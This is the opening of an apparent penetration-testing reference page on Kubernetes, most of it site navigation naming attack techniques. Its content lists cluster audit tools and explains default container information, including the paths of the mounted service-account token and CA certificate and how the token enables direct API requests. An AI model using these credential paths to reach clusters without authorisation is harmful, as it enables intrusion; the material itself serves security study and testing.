<span class="md-ellipsis">
Windows - Download and execute methods
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Mimikatz
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Using credentials
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
<span class="md-ellipsis">
NoSQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_37">
<span class="md-nav__icon md-icon"></span>
NoSQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../NoSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
NoSQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_38">
<span class="md-nav__icon md-icon"></span>
OAuth Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
<span class="md-ellipsis">
Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
<span class="md-ellipsis">
Prototype Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_41">
<span class="md-nav__icon md-icon"></span>
Prototype Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prototype%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
<span class="md-ellipsis">
Race Condition
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_42">
<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_43">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
SAML Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SAML%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SAML Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
<span class="md-ellipsis">
SQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
SQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
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SQL Injection
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<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Google BigQuery SQL Injection
</span>
</a>
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<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cassandra Injection
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<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
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DB2 Injection
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<a href="../SQL%20Injection/HQL%20Injection/" class="md-nav__link">
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Hibernate Query Language Injection
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MSSQL Injection
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<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
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MySQL Injection
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<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
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Oracle SQL Injection
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<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
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PostgreSQL injection
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<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
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SQLite Injection
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
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<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
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Server Side Include Injection
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<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
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Server Side Include Injection
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</li>
</ul>
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_47">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
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</li>
</ul>
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</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
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<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
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</li>
</ul>
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</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_2" >
<label class="md-nav__link" for="__nav_51_2" id="__nav_51_2_label" tabindex="0">
<span class="md-ellipsis">
CVE Ffmpeg HLS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_2">
<span class="md-nav__icon md-icon"></span>
CVE Ffmpeg HLS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS/" class="md-nav__link">
<span class="md-ellipsis">
FFmpeg HLS vulnerability
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_3" >
<label class="md-nav__link" for="__nav_51_3" id="__nav_51_3_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_3_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_3">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess upload
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_4" >
<label class="md-nav__link" for="__nav_51_4" id="__nav_51_4_label" tabindex="0">
<span class="md-ellipsis">
Configuration Busybox httpd.conf
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_4_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_4">
<span class="md-nav__icon md-icon"></span>
Configuration Busybox httpd.conf
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Busybox%20httpd.conf/" class="md-nav__link">
<span class="md-ellipsis">
Index
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_5" >
<label class="md-nav__link" for="__nav_51_5" id="__nav_51_5_label" tabindex="0">
<span class="md-ellipsis">
Configuration uwsgi.ini
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_5_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_5">
<span class="md-nav__icon md-icon"></span>
Configuration uwsgi.ini
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20uwsgi.ini/" class="md-nav__link">
<span class="md-ellipsis">
uWSGI configuration file
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_6" >
<label class="md-nav__link" for="__nav_51_6" id="__nav_51_6_label" tabindex="0">
<span class="md-ellipsis">
Extension Flash
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_6_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_6">
<span class="md-nav__icon md-icon"></span>
Extension Flash
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Extension%20Flash/" class="md-nav__link">
<span class="md-ellipsis">
Index
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_7" >
<label class="md-nav__link" for="__nav_51_7" id="__nav_51_7_label" tabindex="0">
<span class="md-ellipsis">
Extension PDF JS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_7_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_7">
<span class="md-nav__icon md-icon"></span>
Extension PDF JS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Extension%20PDF%20JS/" class="md-nav__link">
<span class="md-ellipsis">
Generate PDF File Containing JavaScript Code
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_8" >
<label class="md-nav__link" for="__nav_51_8" id="__nav_51_8_label" tabindex="0">
<span class="md-ellipsis">
Picture ImageMagick
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_8">
<span class="md-nav__icon md-icon"></span>
Picture ImageMagick
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Picture%20ImageMagick/" class="md-nav__link">
<span class="md-ellipsis">
ImageMagick Exploits
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_9" >
<label class="md-nav__link" for="__nav_51_9" id="__nav_51_9_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_9">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/XSS%20with%20Relative%20Path%20Overwrite/" class="md-nav__link">
<span class="md-ellipsis">
XSS with Relative Path Overwrite - IE 8/9 and lower
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
</div>
</div>
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<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
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<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
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Tools
</span>
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<li class="md-nav__item">
<a href="#container-environment" class="md-nav__link">
<span class="md-ellipsis">
Container Environment
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<nav class="md-nav" aria-label="Container Environment">
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<li class="md-nav__item">
<a href="#service-account" class="md-nav__link">
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Service Account
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<li class="md-nav__item">
<a href="#environment-variables" class="md-nav__link">
<span class="md-ellipsis">
Environment Variables
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</li>
<li class="md-nav__item">
<a href="#simulating-kubectl-api-requests" class="md-nav__link">
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Simulating kubectl API Requests
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<a href="#information-gathering" class="md-nav__link">
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Information Gathering
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<li class="md-nav__item">
<a href="#service-account-permissions" class="md-nav__link">
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Service Account Permissions
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#secrets-configmaps-and-volumes" class="md-nav__link">
<span class="md-ellipsis">
Secrets, ConfigMaps, and Volumes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#privileged-containers" class="md-nav__link">
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Privileged Containers
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<a href="#rbac-configuration" class="md-nav__link">
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RBAC Configuration
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<a href="#listing-secrets" class="md-nav__link">
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Listing Secrets
</span>
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</li>
<li class="md-nav__item">
<a href="#access-any-resource-or-verb" class="md-nav__link">
<span class="md-ellipsis">
Access Any Resource or Verb
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#pod-creation" class="md-nav__link">
<span class="md-ellipsis">
Pod Creation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#privilege-to-use-podsexec" class="md-nav__link">
<span class="md-ellipsis">
Privilege to Use Pods/Exec
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#privilege-to-getpatch-rolebindings" class="md-nav__link">
<span class="md-ellipsis">
Privilege to Get/Patch Rolebindings
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#impersonating-a-privileged-account" class="md-nav__link">
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Impersonating a Privileged Account
</span>
</a>
</li>
</ul>
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<li class="md-nav__item">
<a href="#privileged-service-account-token" class="md-nav__link">
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Privileged Service Account Token
</span>
</a>
</li>
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Interesting endpoints to reach
</span>
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<a href="#api-addresses-that-you-should-know" class="md-nav__link">
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API addresses that you should know
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<li class="md-nav__item">
<a href="#cadvisor" class="md-nav__link">
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cAdvisor
</span>
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<a href="#insecure-api-server" class="md-nav__link">
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Insecure API server
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<a href="#secure-api-server" class="md-nav__link">
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Secure API Server
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etcd API
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Kubelet API
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kubelet (Read only)
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References
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<div class="md-content" data-md-component="content">
<article class="md-content__inner md-typeset">
<h1 id="kubernetes">Kubernetes</h1>
<blockquote>
<p>Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#tools">Tools</a></li>
<li><a href="#container-environment">Container Environment</a></li>
<li><a href="#information-gathering">Information Gathering</a></li>
<li><a href="#rbac-configuration">RBAC Configuration</a><ul>
<li><a href="#listing-secrets">Listing Secrets</a></li>
<li><a href="#access-any-resource-or-verb">Access Any Resource or Verb</a></li>
<li><a href="#pod-creation">Pod Creation</a></li>
<li><a href="#privilege-to-use-pods-exec">Privilege to Use Pods/Exec</a></li>
<li><a href="#privilege-to-get-patch-rolebindings">Privilege to Get/Patch Rolebindings</a></li>
<li><a href="#impersonating-a-privileged-account">Impersonating a Privileged Account</a></li>
</ul>
</li>
<li><a href="#privileged-service-account-token">Privileged Service Account Token</a></li>
<li><a href="#interesting-endpoints-to-reach">Interesting endpoints to reach</a></li>
<li><a href="#api-addresses-that-you-should-know">API addresses that you should know</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li><a href="https://github.com/Shopify/kubeaudit">kubeaudit</a> - Audit Kubernetes clusters against common security concerns</li>
<li><a href="https://kubesec.io/">kubesec.io</a> - Security risk analysis for Kubernetes resources</li>
<li><a href="https://github.com/aquasecurity/kube-bench">kube-bench</a> - Checks whether Kubernetes is deployed securely by running <a href="https://www.cisecurity.org/benchmark/kubernetes/">CIS Kubernetes Benchmark</a></li>
<li><a href="https://github.com/aquasecurity/kube-hunter">kube-hunter</a> - Hunt for security weaknesses in Kubernetes clusters </li>
<li><a href="https://katacoda.com/courses/kubernetes">katacoda</a> - Learn Kubernetes using interactive broser-based scenarios</li>
<li><a href="https://github.com/armosec/kubescape">kubescape</a> - Automate Kubernetes cluster scans to identify security issues</li>
</ul>
<h2 id="container-environment">Container Environment</h2>
<p>Containers within a Kubernetes cluster automatically have certain information made available to them through their <a href="https://kubernetes.io/docs/concepts/containers/container-environment/">container environment</a>. Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default.</p>
<h3 id="service-account">Service Account</h3>
<p>Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a>/var/run/secrets/kubernetes.io/serviceaccount/token
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a>/var/run/secrets/kubernetes.io/serviceaccount/namespace
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a>/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
</code></pre></div>
<p>If the <code>kubectl</code> utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the <code>token</code> and <code>namespace</code> files can be used to make HTTP API requests directly.</p>
<h3 id="environment-variables">Environment Variables</h3>
<p>The <code>KUBERNETES_SERVICE_HOST</code> and <code>KUBERNETES_SERVICE_PORT</code> environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If <code>kubectl</code> is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to.</p>
